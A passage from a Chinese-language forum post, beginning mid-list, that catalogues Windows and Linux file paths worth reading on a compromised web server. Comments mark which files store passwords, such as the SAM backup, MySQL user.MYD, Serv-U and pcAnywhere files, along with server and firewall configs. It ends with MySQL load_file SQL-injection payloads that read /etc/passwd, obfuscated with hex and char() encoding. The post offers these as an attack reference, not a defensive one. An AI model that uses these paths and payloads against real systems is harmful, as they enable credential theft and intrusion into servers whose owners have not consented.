  4. c:/winnt/php.ini
  5. c:/winnt/my.ini
  6. c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
  7. c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
  8. c:\Program Files\Serv-U\ServUDaemon.ini
  9. c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
  10. c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
  11. c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
  12. c:\Program Files\RhinoSoft.com\ServUDaemon.exe
  13. C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件//存储了pcAnywhere的登陆密码
  14. c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
  15. c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
  16. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
  17. d:\APACHE\Apache2\conf\httpd.conf
  18. C:\Program Files\mysql\my.ini
  19. C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
复制代码
linux
  1. /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
  2. /usr/local/apache2/conf/httpd.conf
  3. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
  4. /usr/local/app/php5/lib/php.ini //PHP相关设置
  5. /etc/sysconfig/iptables //从中得到防火墙规则策略
  6. /etc/httpd/conf/httpd.conf // apache配置文件
  7. /etc/rsyncd.conf //同步程序配置文件
  8. /etc/my.cnf //mysql的配置文件
  9. /etc/redhat-release //系统版本
  10. /etc/issue
  11. /etc/issue.net
  12. /usr/local/app/php5/lib/php.ini //PHP相关设置
  13. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
  14. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
  15. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
  16. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
  17. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
  18. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
  19. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
  20. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
  21. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
  22. /etc/sysconfig/iptables 查看防火墙策略
  23. load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
  24. replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  25. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

耶耶耶耶耶

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表